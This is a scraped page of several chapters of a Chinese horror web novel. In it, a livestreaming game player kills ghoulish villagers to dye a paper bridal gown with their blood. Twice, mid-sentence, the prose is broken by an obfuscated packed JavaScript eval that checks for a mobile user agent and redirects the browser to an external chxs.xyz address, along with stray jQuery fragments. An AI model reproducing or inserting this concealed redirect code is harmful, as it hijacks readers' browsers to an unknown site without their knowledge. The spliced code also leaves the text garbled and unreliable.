[@无限直播,你有本事开副本,你有本事把直播评级也给开了啊!我房管礼物都准备好了,你告诉我‘主播评级未定,功能暂不开启’,垃圾系统时不时崩就算了,现在收钱也不会了吗?废物!!]
被安哲精致脸蛋和对比强烈、安全感满满的直播风格吸引,不知不觉间转化成粉丝的观众们翻着白眼,抗性强的去和弹幕对骂,抗性差的就默默刷礼物,时不时的用高级礼物的特效弹幕回击几句造谣和侮辱。
一时间,即便没有了上次直播“世纪骂战”那样的加持,安哲直播间的热度和积分还是开始了疯涨。
围观了安哲在疯狗观众们的帮忙下,观众提纯粉丝全过程的小系统目瞪口呆。
纵观整个主播界,像他宿主涨粉路数这样野的主播好像还是头一家,就连守夜人现在的会长,传奇主播严嵩,最开始也是一个副本一个副本慢慢积累人气的。
而安哲之所以能走得这么顺……还真是多亏了那个在上个副本里积极搞事,献祭了自己用生命来给安哲引流的大好人啊!
大好人叫什么名字来着,好像是叫祁槐辛?
感慨不已地摇了摇头,小系统揣着小手继续看戏,心里乐呵呵的。
哲哲说得没错,那个祁槐辛虽然长得丑心眼坏,但人还真的是个好人嘞!
并不清楚自己的直播间打得有多热闹,忙活了一晚上的安师傅走在沉默女人身后,高冷着脸乐呵呵地在前厅和其他队友汇合。
一晚上的时间过去,不管大家背地里有没有忙碌,起码表面上看起来都是神采奕奕的,似乎都睡了个好觉。
在场的众人中,唯二憔悴的只有林凡和高溯。
目光打量地扫了一圈,林凡皱紧眉头,欲言又止的很是疑惑。
“不是,你们昨晚没听到敲门声吗?”
“……敲门声?”
闻言,正端坐在前厅凳子上等早饭的安哲动作一顿,看向林凡他们的目光带上了点惊讶。
“你们屋昨晚听到了敲门声?”
所以他昨晚溜出去的时候不光能影响到鬼,就连队友也是能影响到的?
那这样的话,究竟是溜出去的他是幻象,还是留在屋子里的他是幻象呢……
安哲垂下眼睑陷入思索。
“对啊,你们屋里没听到吗?”
似乎是想到了某种不好的可能性,林凡的脸色有些发青。
“不止是一次,敲门声响了两回。”
“哈,敲门声?我们昨晚可没听到什么敲门声。”
耷拉着三角眼的司服阴恻恻笑了,表情满是幸灾乐祸。
“哇哦,进副本的第一晚就被鬼给盯上了,你们屋运气真不错啊!”
“也不能光凭这个判定吧,”心里的猜测被证实,林凡和高溯的脸色愈发难看。
“你们那边呢,昨晚有听到敲门声吗?”
安哲缓缓摇头,沉默女人倒是一如既往的沉默。
借着摇头的动作,安哲动作自然地向外套袖子中看了一眼,手腕上,测谎仪化成的手镯还在稳定地冒着绿光。
胖虎和司服他们昨晚确实没听到敲门声,但昨晚敲门的时候,他可是第一个敲的他们房间的门。
眉梢微妙挑起,安哲将测谎时长还没用完的测谎仪收回背包,心里暗自咂舌。
也就是说,昨晚司服他们也出门了。
人不在屋里的话,自然也就听不到敲门声,也不存在骗人的说法。
不止司服和胖虎,昨晚林凡他们房间里应该就两人,严嵩也出去了。
这就是高端局的魅力吗,大家都很有活力呢。
“咳,咳咳……”
沉默间,村长拄着拐棍,带着前来送饭的村民慢吞吞晃悠悠地走了进来。
进门的那一刻,村长抬起头,动作飞快地扫视了一圈。
似乎是没想到安哲他们都在,昨晚一个人都没死,村长愣了一下,撇嘴笑呵呵的。
“挺好,挺好,看来昨晚是平安的一夜。”
演技这么差的吗,嘴上说着挺好,脸上的表情都快遗憾死了。
众人看着村长身后的大高个,皱紧眉头一脸不爽,表情写满了“你们为什么没死”的样子,心情愈发微妙。
见气氛要僵持在这里,严嵩清了清嗓子,接过话头。
“是啊,挺幸运的,昨晚是平安夜。”
大高个挎着篮子,不情不愿地往饭桌上摆放着饭菜,嘴里还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13777287|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘟囔着“浪费”“成功率没增加”什么的。
见状,村长瞪了大高个一眼,看向众人的表情变得慈祥而又和善。
“那趁着高人们吃饭的时间,我给高人们介绍一下我们村的情况?”
拖了一晚上才终于开始走剧情,再加上这几个人刚才进门时看到他们没死,脸上那惊讶和遗憾表情,无一不在说明这个剧本的难度。
大家一边吃饭一边点头,心情都有点凝重。
“咳,那我就说了,大家都是,高人想必吃饭时听这个也不碍事的。”
伴随着老者的缓缓开口,摆放菜品的高个动作加快了几分,他脸上重新恢复了面无表情,只是脸颊肌肉紧绷,瞳孔微微颤动。
“高人们来时也看见了,我们村,偏,路不好走,外面的女人很少有愿意嫁过来的,因此,我们村家家户户都,信奉着送女娘娘。”
“送女娘娘是个,好神只要我们给她供奉足够的祭品,虔诚礼拜,她就会赐给我们新的新娘,保佑我们村的香火不会断绝。”
在场的都不是什么不谙世事的天真玩家,老村长这典中典的经典台词一出,房间内,里面脑补出了后续剧情的林凡他们脸色顿时一变。
见眼前几人表情不对,老村长愣了一下,随后笑了起来。
“是老朽的错没有,说清楚,我们供奉给送女娘娘的都是些三牲和纸人,做完法事后,送女娘娘就会将祭拜上去的纸人变成真人,我们老庄村就有了新的新娘能用,传承绵延香火。”
也不知是不是安哲的错觉,他总觉得虽然老庄村很偏僻,村民也愚昧淳朴,和那些小说短视频里的经典NPC很像。
但这些人交流沟通起来,却又好像挺有文化的。
特别是这个村长,尽管口齿不清,说起话来断句奇怪,但不经意间,遣词造句总有几分文绉绉高级的样子。
难道说,这个副本里村里的村民也有考出大山后回乡扶贫的热血青年?
安哲一边发呆装高冷,一边听村长在那口齿不轻地胡咧咧。
在经过了一段漫长冗杂,语序不顺但言语间满是对送女娘娘的赞美与真诚的赞歌后,为了不遗漏信息,没吃饭等他叭叭的众人眼看着饭菜都要放凉了。
在玩家们逐渐不耐的目光中,村长咧嘴,赫赫地笑了笑,开始上重头戏。
“所以这次请高人们过来就是想,让高人们充作纸新娘的家属和高堂,配合送女娘娘的点化仪式,将我们村这一次的新婚完成。”
村长的用词有些古怪,但大意就是点化仪式需要人配合,等新娘点化成功,新婚夜完成之后,他们大庄村一定会再奉上一份厚礼,不会亏待各位高人云云。
等他说完后,淡蓝色的任务面板随之弹出,空空如也的任务面板也终于刷出了任务。
【任务一:配合新娘点化仪式,保证大庄村新婚礼完成(离开通道将在新人对拜后开放)
任务状态(未完成),完成奖励:积分,B级以上评分在任务完成后将获得随机道具】
和新手副本不同,这次的任务压根就没给最低完成度。
系统的意思很明显,完成了就走,完不成的话那就自己看着办。
就算能侥幸活下来,估计也要在这愚昧古朴的村庄里过一辈子,前提是能让仪式失败后愤怒的村民们放过你。
不过看这些人对新娘点化仪式紧张无比的样子,安哲感觉系统的话里话外只有一个意思:任务加油哦,失败了就去死。
之前在新手副本里,系统的恶意还比较隐晦,出了新手副本后,这是装都不装了啊。
安哲感慨垂眼,低头安静吃饭。
或许是没料到他们昨晚一个都没死,今早村民送来的饭菜比起昨晚的量来说明显少了不少,就连菜的荤腥和数量都有了明显下降。
大庄村的不富裕是体现在方方面面的,大山深处偏僻的位置,泥泞难走的道路,破旧的衣裳,村民们昏暗无光,四处打量时总带着点恶意的侵略眼神。
就在村长讲解介绍的工夫,安哲看到站在村长身后,前来送饭的村民直勾勾地盯着他们桌子上的饭菜,表情垂涎而又渴望。
几菜一汤,放在外面世界来算七个人正常,饭量大的话甚至有些不够的菜品,在这个贫瘠落后的村落已经算得上难得的珍馐。
所以……拿出这么“珍贵”的东西来招待他们,这些人想从他们身上得到些什么?
珍惜地将碗里饭菜吃干净,在末世的教导下从小就知道珍惜粮食的安哲垂眼,目光扫向还困在刀内的大头婴。
30.乡村诡话(四)
“不是,怎么还冒出,异信者了……”
老村长同样被这断言唬到,站在旁边憋了半天没有绷住,颤颤巍巍地开口。
“年轻人,你除了送女娘娘外还信奉着别的神明?”
或许是冲击太大的缘故,老村长被惊得话都说利索了。
“信奉神明要讲究一心一意啊,你这,你这……”
“我没有,”有些嫌弃地将手甩了甩,安哲坚定回道。
“我是无神论者,我不信奉神的。”
见状,仿佛听到了什么很可笑的事般,胖虎和司服咧嘴一乐。
多稀奇啊,至暗教团的人说自己不信奉邪神,你还真敢说嗷。
尽管安哲一脸坚定的样子很是笃定,但很明显,送女娘娘庙内的大部分人对安哲的话并不相信。
“神婆大人,他这样,碍事吗……”
村长忧心忡忡地发问,生怕接下来的点化仪式受到影响,而老神棍则是一脸晦气的样子,他死死盯着安哲,涂满了油彩的干瘦老脸上表情阴晴不定。
在纠结了好一会儿后,老神棍盯着安哲,仿佛想到了什么般突然笑了。
“不碍事……嗯,其实也还行……”
“不碍事,就好,就好,都是花大价钱买,请来的嘞……”
嗓音含糊地嘟囔了一句,村长不放心,再度确认。
“都可以用对吧,全都可以?”
“是,我不是说了吗,非要我再重复一遍?”
劈头盖脸地将村长骂了一遍,老神棍嗓音尖利,用的似乎是大庄村本地的方言,场上的玩家都听不太懂。
狠狠输出一番后,看着老村长唯唯诺诺不敢还嘴的样子,老神棍哼了一声,放下不断挥舞的拐棍,重新回到了神神叨叨,看起来弱不禁风的样子。
“既然大家都是有福缘……的人,那就过来吧,我给你们分配接下来的任务。”
老神棍伸手晃了晃,手上突然出现一把惨白惨白的长纸条。
挨个往众人手里塞了张纸条,老神棍阴惨惨地笑着,盯着玩家们的眼神格外吓人。
“任务已经分配好了,大家就赶快行动吧,明天这个时间,记得带着格外准备好的冥器过来。”
“点化仪式和婚礼在明晚举行,希望各位不要影响进程,不然,送女娘娘可是会生气的……”
说完后,老神棍嗓音含糊地笑了一声,阴暗浑浊的眼神在玩家们身上依次扫过,满含期待的样子饱含恶意,看得人毛骨悚然。
安哲看了手中纸条一眼,系统界面,任务面板便自动更新弹出。
【任务二:完成冥器(纸嫁衣)的制作,并在明天正午12点前将制作完成的纸嫁衣送至送女娘娘庙内
任务状态(未完成),完成奖励:积分,B级以上评分在任务完成后将获得随机道具】
众人在老村长的带领下走出送女娘娘庙,发现庙外已经站着几个上了年纪的老头,看样子已经等了好一会儿。
带着各自的纸条,每位玩家都分到了一个冥器制作的临时“师傅”,给他们提供冥器制作的材料,教导他们冥器制作的步骤和流程。
见队友们都走得差不多了,安哲拿着纸条,走向庙外剩下的唯一一个老大爷。
老大爷年岁已高,须发皆白,原本正拄着拐杖,慢悠悠地看着沉默女人的方向。
见安哲拿着“纸嫁衣”的条子过来找他,老大爷愣了一下,下意识地接过条子细看。
“……怎么是你?”
“怎么不能是我?”
此时队友已经走完,安哲就琢磨着顺手再刷点能量值。
他乐呵呵地叫了声“大爷”,热情洋溢地附送上了一个茶茶微笑,高冷小脸上突如其来的笑容吓得老头猛一哆嗦,拄着拐杖颤巍巍地后退了一步。
“送女娘娘在上,邪祟退散,邪祟退散哦!”
【收集到王多民的负面情绪,能量值+99!】
安哲:“……”
大爷你还挺扣的,吓成这样了能量值就给99。
接下来的路程中,无论安哲怎么呼唤大爷,王多民都死不出声,只是一脸害怕地领着安哲,低头快步往家里走。
系统面板里两位数的能量值持续不断地刷着,见状,安哲无奈,只好垂眸向系统背包看去。
刚才在送女娘娘神庙中,那个老神棍给他测‘福缘’的时候,安哲便隐约感受到系统背包里的道具似乎有异动。
但他当时扫了一眼,也没发现有什么不对。
此时趁着路上的闲暇时间,安哲一边淡定地记下走过的路,一边分出部分精神力,向系统背包内探去。
到底是什么东西……嘶……
精神力探进背包的那一瞬间,安哲便被背包内灼热的气息烫得顿了一瞬。
下一秒,原先滚烫的气息变得温和,从咄咄逼人的热烫瞬间降到了温暖宜人的温热,恍惚间还散发着阵阵甜香。
系统背包的储物格都是独立的空间,但特殊稀有、能量强的物品会有气息外泄的情况,这也是特殊物品的判定标准之一。
安哲顺着泄露出来的气息追踪而去,视线流转间,就来到了被他仍在系统格子的最后,背包边缘角落里的小木剑身上。
……原来是这个东西。
安哲用精神力在小木剑上戳了戳,小木剑温热的温度变高了一点,欢喜地向安哲表达了亲昵之意。
隐约从中读出了没写在系统说明上的详细使用方法和用途,安哲挑眉,有些嫌弃地把小木剑又往角落里塞了塞。
可拉倒吧,请神上身,用不着谢谢。
似乎是感觉到了安哲的嫌弃,正努力发光发热的小木剑顿了一下,窝在角落里继续委屈发光。
不过要是一直这样的话,不给祭品当个暖手宝还挺好用的,相当于变相白嫖?
乐呵呵地收回分散的注意力,安哲四处打量了一番,发现他跟着王多民,已经来到了村庄偏僻的边缘角落里。
似乎担心安哲误会,领他过来的王多民缩了缩脖子,小声开口解释。
“干我们这行的比较晦气,太靠近村子里的位置不让住的。”
“噢,”安哲点了点头,笑眯眯的样子很是随和。
“大爷,那你们家独自住在这么偏的位置,不害怕吗?”
不等王多民回答,安哲又笑着补充了一句。
“这片就你们家一户亮着红灯笼,不够用吧?”
闻言,正领路开门的王多民猛一哆嗦,砰的一下将闭合着的大门推开。
他脸上肌肉颤巍巍地绷着,眼神凶狠惧怕,却仿佛没听到般没有接安哲的话茬。
“爹,是你回来了不?”
光线黯淡的屋里,有男人的声音传出。
一个坡脚矮瘦的汉子扶着门桌走出,眼神失焦地看向大门所在的方向。
“爹?”
“是,是我。”
咕咚一声吞了口口水,王多民擦了擦头上细汗,笑着向安哲解释,他干裂的嘴唇微微颤抖,嗓音有些喑哑。
“这是我儿子,王多梓。”
多梓,多子,寓意简单而又明确,很符合大庄村渴男盼男的风气。
“哦,哥哥好。”
安哲顺手挂了个状态,顺便瞄了眼系统后台,看有没有和之前庄灿那样鬼怪伪装人类的情况。
可惜的是,并没有。
王多梓实名给他刷了小半页的负面能量值,当着安哲的面也咕咚一声咽了口口水,头上的短发都有些炸了。
“爹,男,男的啊?”
王多民嗯了一声,没有多言,只是提高了嗓音高高说到,仿佛强调,也仿佛提醒。
“村庄说嘞,让这个娃跟咱做这次的嫁衣!”
“这,这……行吧……”
因为眼盲的缘故,王多梓的表情管理很不到位。
王多民话音落地的那一瞬间,他脸上表情猛地扭曲了一瞬。
失焦的大眼睛里闪过惊讶与惶恐,片刻后,王多梓面色惨淡地笑了笑,起身往屋里摸去。
“娃,进来吧,嫁衣不好做,可废时间嘞。”
安哲挑眉,跟在王多民的身后走进屋内。
走过高高的大门,屋内的光线却很是昏暗,光亮似乎仅照亮了门口的那一块空地,屋里的其他地方昏暗模糊地混着一片黑。
“我们父子俩习惯不开灯了,农村人比较节省,娃子你多适应一下。”
墙上有老式点灯的拽绳,但王多民却一点没有开灯的意思。
屋里立着高高的木棍,木棍上挂着许多还没做完的纸片嫁衣,喜气的斑驳红纸在微风的吹拂下轻轻飘着,恍惚间好似一片片流动在黑暗中的血。
“做这个忌讳太亮,越暗越好,阴气越重的地方上颜料效果最好。”
“最忌讳的啊,就是颜料没有上够,半红半白的嫁衣出嫁,那就不是喜,变成了煞,手艺人用命去填,还是填不满,会死好多的人……”
黑暗中,王多民原本怯懦的眼亮着灼灼的光。
他和王多梓一起看着安哲,在满屋半红不白的纸嫁衣中,仿佛两个择人而嗜的老鬼。
目光在这些嫁衣上扫了一眼,隐约有了猜想的安哲沉吟。
“用命去填,什么东西的命都可以吗?”
“当然,”微微咧嘴笑了笑,王多民的脸隐藏在黑暗中,发黄的牙齿和白发眉毛一起,快活地飞扬舞动着。
“你要是想拿你同伴的命去填,也一样可以,就是小心,你想拿他们的命去填,他们说不定,也是一样呢,咯咯咯。”
话说到最后,王多民的声音也变得古怪起来,尖尖的,含糊又拐弯,像是某种动物的嚎叫,在努力地学着人声。
“好了,后生仔,时间不多,我们赶快开始吧。”
从老屋的后厢房中拖出一口箱子,王多民在行动发力间,脸上的皮都有些崩裂。
毫不在乎地往脸皮上碾了碾,王多民和王多梓咯咯笑着,说话间嘴角不断流下涎水。
“来,我说,你跟着做,记好喽,嫁衣一定要染红,染得透透的才好,不能留下一点白,不然,到时候,就要拿你的血去染喽……”
说话间,阴风不断吹过,本就不大的屋子里,气氛愈发骇然。
安哲看着眼前这两个皮都快绷不住的怪东西,估摸着颜料应该是够了,一时间心中大定。
笑呵呵的应下声来,安哲坐在长条木椅子上,甚至反过来开始催促。
“不是要开始吗,赶快吧。”
他砍人砍鬼砍丧尸虽然利索,但还没做过嫁衣这么精致的手工活,这两个东西一直强调费时间,安哲还真的有点担心时间不够用。
在安哲的连声催促里,王多民和王多梓互相对视一眼,后背隐隐有些发凉。
“可以,我就喜欢你这种胆子大的后生仔。”
阴森森的笑了笑,王多民弯腰从箱子里拿出几沓纸,和剪刀一起砰的一下放在安哲面前。
“喏,图样我都已经画好了,后生仔你剪好后,将白纸染红,接着用那边的针线按样缝好就行。”
在身旁已经缝好,但半红不白的嫁衣上拍了拍,王多民咧嘴,露出了一个古怪笑意。
“记得嫁衣,一定要染红啊……”
看着手上画了图样,已经是红纸的纸张,安哲挑眉,借着门口处的灯光剪了起来。
上手的那一瞬间,安哲就发现手里的纸张触感不对。
柔韧,柔软,滑腻腻的,摸上去的触感甚至有些温润。
这纸与其说是纸张,不如说是经过特殊处理,看起来像是纸张的人皮。
剪刀闭拢的那一刻,被剪的红纸发出了宛如真人般鲜活凄厉的嚎叫声,身旁,王多民父子俩站着监工,吞咽着口水吃吃笑着。
“好好做,不然说不准,你就是下一个嘞。”
在哽咽凄厉的哀嚎声中,安哲动作灵活地剪着纸,眸光逐渐发冷。
迅速地将白纸与金纸上的图样剪裁完毕,安哲一边穿针引线开始缝制,一边动作自然地发问。
“缝好后的嫁衣如果染色的话,会把上面的金纸弄脏吗?”
“嘿嘿,不会的。”
并不意外安哲会猜到这个,王多民擦掉嘴边的口水嗤嗤笑着,牙在不知不觉中变得尖利。
“浸透了血,只会让嫁衣上的金纸变得更明亮嘞!”
唔,那就好。
闻言,安哲彻底放下心来。
这样的话,就不用担心染完色还要把嫁衣再重置一遍了。
在王多民父子俩的指导下,安哲缝制和装饰纸嫁衣的动作飞快。
然而即便他动作飞快,屋外的阳光还是以一个更快的速度暗淡下来,夕阳转瞬即逝,很快就来到了夜晚。
“娃,外面天都黑了,晚上回村的路不好走,你嫁衣还没做完,留下来继续做吧。”
安哲看着手上还有几根丝带没有装饰缝制上的嫁衣,笑眯眯地点头应下。
几乎就在他缝好嫁衣,将针重新插回线团里的那一刻,同昨晚一样不可抵挡的困意迅猛袭来。
这一次的安哲没有再抵挡,而是顺从地闭上眼睛,留神着身后的动静。
吸溜,吸溜溜——
在安哲睡着后,王多民父子两吞咽口水的声音变得响亮起来。
咕咚吸溜地吞着口水,父子俩蹲在安哲身后焦急踱步,似乎在等待着什么。
“爹,村长是不是搞错了,这次过来的咋是个男娃?”
年轻人耐性总是更差,咚咚地来回踱了几圈后,王多梓吞着口水,带着点揣测和恐惧开口。
“别到时候杀错了,惹得送女娘娘生气,耽误了明晚的点化仪式,那咱可就成全村的罪人了……”
“闭嘴!一天天的就不能说点好的!”
王多梓的话还没说完,就被王多民呵斥着暴怒打断。
砰砰几声闷响传来,似乎是揍了王多梓几下,王多民尖利的嗓音古怪叫起,声音大得安哲想揉耳朵。
“就算村长那个老东西搞错,神婆大人也不会弄错的,听话跟着做就行了!”
“你好好表现,我前几天刚带着人给神婆大人送过礼,这次让你第一个当新郎,那些村子里的人一直看我们是异类,你这次一定要抓住机会。”
“你给我们老王家争口气,顺顺利利地抱个大胖小子回来,我们家也就能搬到离村子里近一点的地方,不用天天晚上再担惊受怕的了,明白吗!”
叨叨叨地一边揍儿子一边念叨,王多民吱哇乱叫地教训了好一会儿后,忍不住有些狐疑。
“这家伙怎么还没醒,男娃和女娃差别这么大的吗?”
“不知道啊爹,要不我啃他一口,说不定是装睡呢?”
“唔……”
听到这里,安哲就知道不能再装下去了。
他装作刚醒的样子揉了揉眼睛,而后起身抬头,表情惊讶地向身后看去。
“我刚才怎么睡着了?”
“……”
都已经准备上前咬上一口的王多梓紧急捂嘴,将差点冒出的长长嘴巴按回。
“呵呵,没事,年轻人觉多,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13843988|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡一会儿没事的,重要的是别耽误嫁衣的制作。”
笑呵呵地弯了弯眼睛,同样有些急不可耐的王多民从蹲立爬着的姿势起身站起,向安哲那边蹒跚走去。
在他的脸上,逐渐维持不住的人皮干化老去,成粉状与块状扑簌簌掉着,黄黑色的长硬茸毛仿佛雨后春笋般,根根飞快地冒了出来。
逐渐变绿变亮的眼睛咕噜噜转着,王多梓探头往安哲手上的纸嫁衣上看了一眼,而后便立着耳朵,迫不及待地尖声叫道。
“没有染色!嫁衣上的红色一点都没有染!来不及了!来不及了!你制作嫁衣的心不诚,要用你的血来给嫁衣染色!!”
仅仅是闭了个眼的功夫,安哲手上原本鲜红如血的纸嫁衣便变成了白色,苍白的纸片白惨惨地塌在安哲手上,在杳杳升起的月光下泛着透目的白。
王多民父子尖叫一声,狰狞呲笑着向安哲扑来,脸上半掉不掉的人皮彻底崩裂,鲜血浸染下红黄黑的毛茸茸人脸看着格外可怖。
“啧,我就知道是这样。”
安哲一脸“果然如此”的摇头,随后反手将自己的刀唤出。
在王多民父子瞬间惊恐的毛脸上,安哲抬手噗呲两声轻响,王多民父子便身形软软地倒了下来。
“……不是,这么好杀的吗?”
还想着看能不能再问出点情报的安哲有些傻眼。
为了防止诈尸诈死,安哲根据自己砍僵尸砍出来的经验,小心谨慎地将两个长满长毛的脑袋割下。
片刻后,发现这两个鬼东西似乎真的死了,后台的负面消息记录也没有再刷新,安哲赶忙拿起做好的纸嫁衣往它们两个的尸体上糊,皱着眉头有些发愁。
大意了,见后面那两个家伙那么笃定吃定了他的样子,他还以为这两个家伙有多能打。
现在看来,这水平也就比新手副本里的庄灿强了个两三成。
还不够他升级后的菜刀一刀砍的……
消息和情报也就偷听到了一点,最重要的是血好像也不够。
安哲看着已经将现出原形后的两只长毛黄鼠狼吸干,却依旧只染红了小半截的纸嫁衣,有些惆怅地叹了口气。
在黄鼠狼父子家寻摸了一圈,没翻到什么好东西的安哲扛着纸嫁衣出门,绷着的精致脸蛋在惨白月光的照拂下写满了不爽。
走出屋外的那一刻,莫名的阴风刮起,夜枭的叫声模糊遥远地传来,听起来很是渗人。
“不用天天晚上再担惊受怕了”,这是刚才黄鼠狼父子两的原话。
它们既然这样说,那就说明村子里晚上肯定有脏东西。
希望它们的血够多,别逮一晚上了连个任务都完成不了……
就这样,安哲扛着他染了一小半的纸嫁衣,特意将刀收起,他低头往脸上和身上抹了两把路边的灰,装作担惊受怕逃跑过来的样子,高高兴兴地走上了搜寻的路。
“呜,救命啊,来人啊,有没有人能救救我,呜呜,杀人啦,救命啊……”
乡间布满尘土的土路上,少年扛着染了小半红白斑驳的纸嫁衣,一脸惊慌地逃窜着,漂亮的猫眼里饱含泪滴。
“呜呜救命啊,有妖怪,有吃人的大妖怪,快来人救救我,救命啊!!”
安哲沿着土路哽咽着向前奔逃,借着假装擦眼泪的样子把脸上的灰抹得更凄惨匀称了一点。
他跌跌撞撞的,踉踉跄跄的,在跑一步就起尘的土路上几步一摔跤,却始终小心翼翼地护着肩上扛着的嫁衣,精致漂亮的脸蛋上满是惊恐。
然而却始终没有鬼上当。
路过的鬼都以震惊而又诧异莫名的眼神看着安哲,红通通绿汪汪金灿灿的眼珠子里写满渴望,却又迟疑地没有动手。
就在安哲以为自己钓鱼失败,村里的鬼就是这么机敏谨慎,还是得直刀砍鬼干脆点算拉倒之时,终于有鬼忍不住上钩了。
“嘿嘿,后生仔,你没事吧?”
一个看起来老实憨厚的中年汉子将安哲扶起,他扶着安哲向路边的庄稼地里走去,鼻子在血腥味的刺激下拼命耸动,嘴角眼睛里满是饥饿与垂涎之情。
“你是从村角老王家跑出来的是吧?唉,他们家做事不讲究,吓着你们城里出来的娃了,不过娃娃你别担心,他们村外的孤魂野gui……人们不敢管老王的事,我们村里的人敢管!”
一不小心就差点说漏嘴,中年汉子咕咚一声咽了口口水,扶着安哲吃吃地笑着。
“嘿嘿娃,你好香啊,年轻人肉就是好,身上都带着甜味的。”
“你吃晚饭了没?叔晚饭还没吃,肚子还饿着嘞……”
原来老王他们家是村角一霸,怪不得回村路上村边上的那些野鬼看着他眼馋,却又一直不敢下手……
终于弄明白了这鬼际关系里的弯弯绕绕,安哲有些无语地抽了抽嘴角。
眼看着走到了庄稼地深处,周围鬼围观打量的视线逐渐淡去,扶着安哲走过来的中年汉子也逐渐放下伪装,动作肆意起来。
“娃,叔肚子饿,大家都是老乡,你让叔啃几口,叔不杀你,吃你个胳膊和腿就行!”
“既然这样的话,叔你也帮我个忙吧。”
确定被勾引过来的鬼都围到了庄稼地外围饥渴等待,只等着他被啃完逃出去后再续餐。
感慨自己这一路也没算白演,这鬼聚起来后比到处逃窜单抓好抓多了的安哲舒了口气,冲中年汉子露出了个明媚笑容。
“叔,我嫁衣还差点血,你也说了大家都是老乡,那你给我帮帮忙呗?”
幽暗的刀锋悄悄划过,中年汉子捂住脖子向后倒下,临死前迅猛地给安哲刷了波负面能量值,已经咧到耳根后的尖牙大嘴和绿毛眼睛里满是惊恐。
安哲将纸嫁衣快速糊上,动作迅速地没有漏掉一滴血。
看着艰难染红了一小块,看起来似乎很不情愿的纸嫁衣,安哲轻啧一声皱了皱眉,表情沉默中有些严肃。
这么难染的纸嫁衣,以前接到这个任务的玩家都是怎么完成的?
事已至此,既然这个纸嫁衣这么难染的话……就只能再苦一苦老乡们了啊!
安哲悲天悯人地叹了口气,接着将盘踞在木质辘轳里做伪装,已经快无聊疯了的黑色冤魂喊过来,指着地上那摊已经被吸干血了的干巴厉鬼交代他吃干净。
在黑色冤魂“你可做个人吧,喊我过来就是吃屎”的扭曲目光里,安哲温柔叮嘱他记得吃干净一点,敢有渣滓漏下就把他脑袋拧下来当球踢。
然后他揉了揉眼,沾着黑色冤魂流下来的斑斑血泪,确定纸嫁衣挑食不吃黑色冤魂的血泪后,安哲撇嘴将血泪往脸上和身上抹去,接着跌跌撞撞地往庄稼地外跑。
“救命,救命啊——”
在黑色冤魂猛一哆嗦,啃着干巴骨头转头呆滞震惊的目光里,安哲一瘸一拐地向外跑去,沾满了血和灰的漂亮脸蛋满是惊惶。
“有鬼要吃我,救命!!!”
一片早已腐朽,但却依然神奇的长得比人还高的恶臭玉米地里,长相精致的少年扛着红白斑驳的纸嫁衣,猫眼含泪地向外跑去。
他的表情写满了害怕,腿脚因过度恐惧而时不时地跌绊,情绪崩溃地呜呜哭着。
看到城里娃娃如此委屈难过的样子,玉米地外,蹲守已久,乐于助人的老乡们忍不住纷纷围上前来,仗义执言。
“娃,你咋样,没事吧?别怕叔保护你,跟叔走!”
“哎呀后生仔不用怕,婶子在呢,走跟婶子回家,婶子给你冲甜水喝!”
“爷爷在,不怕,谁欺负的你,走,爷爷帮你打他!”
31.乡村诡话(五)
一片早已腐朽,但却依然神奇的长得比人还高的恶臭玉米地里,长相精致的少年扛着红白斑驳的纸嫁衣,猫眼含泪地向外跑去。
他的表情写满了害怕,腿脚因过度恐惧而时不时地跌绊,情绪崩溃地呜呜哭着。
看到城里娃娃如此委屈难过的样子,玉米地外,蹲守已久,乐于助人的老乡们忍不住纷纷围上前来,仗义执言。
“娃,你咋样,没事吧?别怕叔保护你,跟叔走!”
“哎呀后生仔不用怕,婶子在呢,走跟婶子回家,婶子给你冲甜水喝!”
“爷爷在,不怕,谁欺负的你,走,爷爷帮你打他!”
老乡们热情暖心的话就像是冬日里的一把火,将小年轻颤抖害怕的心暖热。
感激无比地抹了把眼泪,或许是真信了眼前这群老乡,又或许是被这些暖心的话冲昏了头脑,安哲紧紧拉住眼前老乡们的手,生怕放走一个。
“有了叔叔伯伯婶婶爷爷们的关心,我什么都不怕了!”
拉住众人众鬼的手,安哲热情地向身后的苞米地走去,牵着身后的一群人使劲往后拽着。
“走,我们去找刚才那个鬼的麻烦去,我们这么多人,不怕他一个鬼,人多力量大!”
啊这……
这后生娃莫不是在城里读书把脑子读傻了,真以为他们是来帮忙的,还敢回身去找已经现形的老李麻烦?
苞米地深处,干涩迟钝的咀嚼声仍在缓慢响起,听得苞米地外的众鬼食欲大振,嘴里口水止不住地漫出。
不管了,大家一起就一起分吧,虽然没法领回家一个人吃独食,但一人分上几块肉,也好过什么都没有……
就这样,在所有人和所有鬼都满意无比的情况里,大家欢天喜地的向苞米地深处走去,热情洋溢地在背后伸出了利器和利爪。
片刻后,接连不断地‘噗嗤’声响起,伴随着沉闷的倒地与轻微哀嚎。
一两声一不小心杀慢了一瞬的凄厉尖叫声响起,将方圆一里地内还没被砍的鬼怪目光都吸引了过来。
“啧,”
嫌弃地将手从黑色冤魂头盖骨上收回,刚被黑色冤魂用脸把手痛殴了的安哲皱眉,恨铁不成钢地向黑色冤魂看去。
“生啃个鬼都能啃出这么大动静,让你吃死的你很不服气吗?”
“动静闹得这么大,等下我还怎么去钓鱼?血不够了把你砍了填上去好不好?还摇什么头,还不快点把这些下脚料吃干净!”
